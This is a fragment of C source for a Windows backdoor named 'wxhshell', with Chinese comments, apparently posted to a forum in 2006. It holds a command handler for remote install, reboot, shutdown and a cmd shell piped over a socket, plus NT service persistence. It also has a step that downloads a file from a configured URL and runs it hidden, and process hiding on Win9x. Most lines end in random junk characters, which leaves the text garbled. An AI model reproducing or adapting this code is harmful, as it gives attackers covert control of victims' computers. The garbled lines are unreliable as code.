  case '?': { dBsX*}C  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); h[KvhbD3   
    break; 7T``-:`[  
  } @r(Z%j7  
  // 安装 I-D^>\k+  
  case 'i': { :6J +%(f  
    if(Install()) i>L+gLW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Uk*IpP`  
    else pY)5bSA  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M`,~ mU  
    break; U=Y)V%  
    } 1[F3 Z  
  // 卸载 sRVIH A ,  
  case 'r': { C-eA8pYY/  
    if(Uninstall()) -Ue$T{;RoH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \mM<\-'p  
    else ql{(Lf$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Jo(`zuLJ  
    break; 0X8t>#uF  
    } Eh</? Qv\  
  // 显示 wxhshell 所在路径 s>_V   
  case 'p': { A$0H .F>  
    char svExeFile[MAX_PATH]; j!~l,::$"X  
    strcpy(svExeFile,"\n\r"); Kyt)2p  
      strcat(svExeFile,ExeFile); hD,:w%M  
        send(wsh,svExeFile,strlen(svExeFile),0); <oKGD50#  
    break; l} ^3fQXI  
    } Kemw^48ts  
  // 重启 GY3 Wj  
  case 'b': { ;rI@ *An  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 5V[oE\B  
    if(Boot(REBOOT)) ulT8lw='  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WFR?fDtE  
    else { ^VW PdH/Fe  
    closesocket(wsh); UrlM%Jnq1  
    ExitThread(0); S0h'50WteJ  
    } A , CW_  
    break; f|A riM  
    } 75nNh~?)\  
  // 关机 v`J*ixZ7t  
  case 'd': { J2q,7wI#  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 4!Z5og1kn  
    if(Boot(SHUTDOWN)) m`#Od^vk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vzzE-(\\e  
    else { RpG+>"1]  
    closesocket(wsh); mOpTzg@  
    ExitThread(0); CZnK8&VDY  
    } j hYToMq  
    break; _LP/!D  
    } X)SDG#&+bF  
  // 获取shell 3P~o"a>  
  case 's': {  j1?j6s  
    CmdShell(wsh); .M,RFC  
    closesocket(wsh); ~"pKe~h   
    ExitThread(0); kh~'Cn "O  
    break; spU)]4P&  
  } 0tIS Xu-  
  // 退出 d\MLOXnLq;  
  case 'x': { WH ?}~u9  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 'ckQg=zPR  
    CloseIt(wsh); ,y4I[[  
    break; ZN"j%E{d  
    } :(dHY  
  // 离开 a8u 9aEB  
  case 'q': { J]W5[)L  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); <9ig?{'  
    closesocket(wsh); CO-_ea U(  
    WSACleanup(); U~{du;\  
    exit(1); nKR{ug>I)  
    break; ?oZR.D|SZ  
        } qbrpP(.  
  } WPZ?*Sx  
  } 4p;aS$Q  
4v p  
  // 提示信息 ~/NKw:  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ZZ QG?("S'  
} YDC mI@  
  } hLJM%on  
_AV1WS;^^8  
  return; 4?N8R$  
} }'r[m5T  
!-s!f&_  
// shell模块句柄 ,1'4o3  
int CmdShell(SOCKET sock) pZ`|iLNl-  
{ jF`BjxrG  
STARTUPINFO si; h%WE=\,Qp  
ZeroMemory(&si,sizeof(si)); VxP&j0M>  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; RMO,ZVq  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ]# t6Jwk  
PROCESS_INFORMATION ProcessInfo; gVeEdo`$<  
char cmdline[]="cmd"; fQrhsuCrC  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); (mxT2"fC  
  return 0; sGvIXD  
} q'pK,uNW  
/TS=7J#  
// 自身启动模式 OY[e.N t&  
int StartFromService(void) Cs2;z:O]  
{ ?!qY,9lhH  
typedef struct wf, 7==  
{ TJE\A)|>g  
  DWORD ExitStatus; 6y%0`!  
  DWORD PebBaseAddress; Y@'8[]=0  
  DWORD AffinityMask; Gm*X'[\DD  
  DWORD BasePriority; 1[_mEtM:]B  
  ULONG UniqueProcessId; w\) |  
  ULONG InheritedFromUniqueProcessId; oJ#,XMKga  
}   PROCESS_BASIC_INFORMATION; at2FmBdu C  
UR:aD_h  
PROCNTQSIP NtQueryInformationProcess; m*e{\)rd#  
zy*/T>{#  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; -}K<ni6  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; kw2T>  
&A#~)i5gF  
  HANDLE             hProcess; rD>*j~_+P  
  PROCESS_BASIC_INFORMATION pbi; !w BJ,&E  
TAjh"JJIV  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); h|X^dQb]  
  if(NULL == hInst ) return 0; $d?.2Kg  
;?C #IU  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 9@Cv5L?p\  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); bINvqv0v  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); cqxVAzb  
UH7jP#W%=  
  if (!NtQueryInformationProcess) return 0; Z{?G.L*/  
s3Cc;#  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); JTi!Xu5Jq  
  if(!hProcess) return 0; 5zON}"EC  
8p[)MiC5W^  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Vh>Z,()>>@  
p~LrPWHSTP  
  CloseHandle(hProcess); n~VD uKn9  
<nEi<iAY>U  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); R$zH]  
if(hProcess==NULL) return 0; 6q 2_WX  
`6+"Z=:  
HMODULE hMod; #c^^=Z  
char procName[255]; +iOKbc'  
unsigned long cbNeeded; 9@+5LZR  
8,dBl!G=  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); O12eH  
g+X}c/" .  
  CloseHandle(hProcess); k4 F"'N   
Cu6%h>@K$  
if(strstr(procName,"services")) return 1; // 以服务启动 $1SUU F\.  
Q_l'o3  
  return 0; // 注册表启动 !ct4;.2 D  
} I-OJVZ( V  
a22XDes=  
// 主模块 q+,Q<2J  
int StartWxhshell(LPSTR lpCmdLine) Jmx Ko+-  
{ 4@xE8`+b G  
  SOCKET wsl; V)}rEX   
BOOL val=TRUE; v%Wx4v@%SE  
  int port=0; ,AT[@  
  struct sockaddr_in door; (p%>j0<  
A_KW(;50  
  if(wscfg.ws_autoins) Install(); >M&3Y XC  
](|\whI  
port=atoi(lpCmdLine); ID/ F  
HV<Lf 6gE  
if(port<=0) port=wscfg.ws_port; 1'? 4m0W1  
R :B^  
  WSADATA data; qe5feky  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ^j7azn  
Yup3^E w&  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ,0LU~AGe   
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val));  T Q,?>6n  
  door.sin_family = AF_INET; 4*$G & TX  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); e1P"[|9>R  
  door.sin_port = htons(port); 7g3 >jh  
;J7F J3n  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 6Cp]NbNrq  
closesocket(wsl); >t7x>_~   
return 1; $ tl\UH7%2  
} F:aILx  
 W%\C_  
  if(listen(wsl,2) == INVALID_SOCKET) { r7qh>JrO  
closesocket(wsl); 3po:xMY  
return 1; IsR!'%Pu  
} !W?gR.0$=  
  Wxhshell(wsl); Kv~U6_=1O  
  WSACleanup(); _o8 ?E&d  
o=1X^,  
return 0; fDSv?crv  
c*~]zR>s!  
} 13Lr }M&  
%iw3oh&Fkm  
// 以NT服务方式启动 9?k_y ZV  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) uG<}N=  
{ MHa#?Q9  
DWORD   status = 0; *z7dl5xJ  
  DWORD   specificError = 0xfffffff; )+fh-Ui  
ZK)%l~J  
  serviceStatus.dwServiceType     = SERVICE_WIN32; vhhC> 7  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; h yv2SxP*  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 2PG [7u^  
  serviceStatus.dwWin32ExitCode     = 0; "Iix )Ue  
  serviceStatus.dwServiceSpecificExitCode = 0; g&{9VK6.  
  serviceStatus.dwCheckPoint       = 0; =z8f]/k*>  
  serviceStatus.dwWaitHint       = 0; i7ly[6{^pr  
c_>f0i  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ?R$&Xe!5  
  if (hServiceStatusHandle==0) return; p'om-  
+zs4a96[  
status = GetLastError(); .aflsUD  
  if (status!=NO_ERROR) yxc=Z0~1  
{ V(E/'DR  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ccL~#c0P7  
    serviceStatus.dwCheckPoint       = 0; +sJrllrE(  
    serviceStatus.dwWaitHint       = 0; zen*PeIrA^  
    serviceStatus.dwWin32ExitCode     = status; [ Fz`D/  
    serviceStatus.dwServiceSpecificExitCode = specificError; 4!wR_@W^El  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); MuSUKBhM  
    return; M %Qt|@O  
  }  E6WA}_  
x|vqNZ\F  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Z:_D0jG  
  serviceStatus.dwCheckPoint       = 0; 2;?I>~  
  serviceStatus.dwWaitHint       = 0; )YqXRm  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); T' ~!9Q  
} )l#E}Uz  
/:FOPPs  
// 处理NT服务事件,比如:启动、停止 .c$316  
VOID WINAPI NTServiceHandler(DWORD fdwControl) }-@`9(o`)  
{ }RP @!=  
switch(fdwControl) d \35a4l  
{ GDuMY\1  
case SERVICE_CONTROL_STOP: \W`w` o  
  serviceStatus.dwWin32ExitCode = 0; !3ctB3eJ  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Exk\8,EGqS  
  serviceStatus.dwCheckPoint   = 0; $r3i2N-I  
  serviceStatus.dwWaitHint     = 0; F_4n^@M  
  {  ^k\e8F/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); RH|XxH*  
  } ,tg0L$qC  
  return; p*P)KP  
case SERVICE_CONTROL_PAUSE: L/z),#  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 4f;HQ-Iv  
  break; -uy`!A  
case SERVICE_CONTROL_CONTINUE: RG4sQ0  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; x_dy~(*  
  break; Nj 00W1  
case SERVICE_CONTROL_INTERROGATE: (V HL{rj  
  break; y(xJT j  
}; jfqopiSi  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~appY Av  
} /QJ?bD#a  
~B(6+~%  
// 标准应用程序主函数 &kpwo )  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) STaA]i}P  
{ J:\|Nc?  
[r[ =W!  
// 获取操作系统版本 zO MA  
OsIsNt=GetOsVer(); /ID?DtJ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); x>Jr_A(  
GbaEgA'fa  
  // 从命令行安装 Y"wUt &  
  if(strpbrk(lpCmdLine,"iI")) Install(); j ku}QM^  
g"> {9YE  
  // 下载执行文件 # m *J&  
if(wscfg.ws_downexe) { :dqn h  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) =i7`ek  
  WinExec(wscfg.ws_filenam,SW_HIDE); ziCHjqT  
} ,YMp<C  
aT$9;  
if(!OsIsNt) { Xqm::1(-(  
// 如果时win9x,隐藏进程并且设置为注册表启动 .>IhN 5  
HideProc(); MHC^8VL  
StartWxhshell(lpCmdLine); wg]j+r@  
} yYH0v7vx+  
else GF^071]G  
  if(StartFromService()) Mwr"~?\\  
  // 以服务方式启动 ,9o"43D:a|  
  StartServiceCtrlDispatcher(DispatchTable); dB5b@9*  
else >#y^;/bb  
  // 普通方式启动 bAm(8nT7w  
  StartWxhshell(lpCmdLine); EB8\_]6XJ  
1[vi.  
return 0; oTuOw|[  
}
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只看该作者 1 发表于: 2006-10-10
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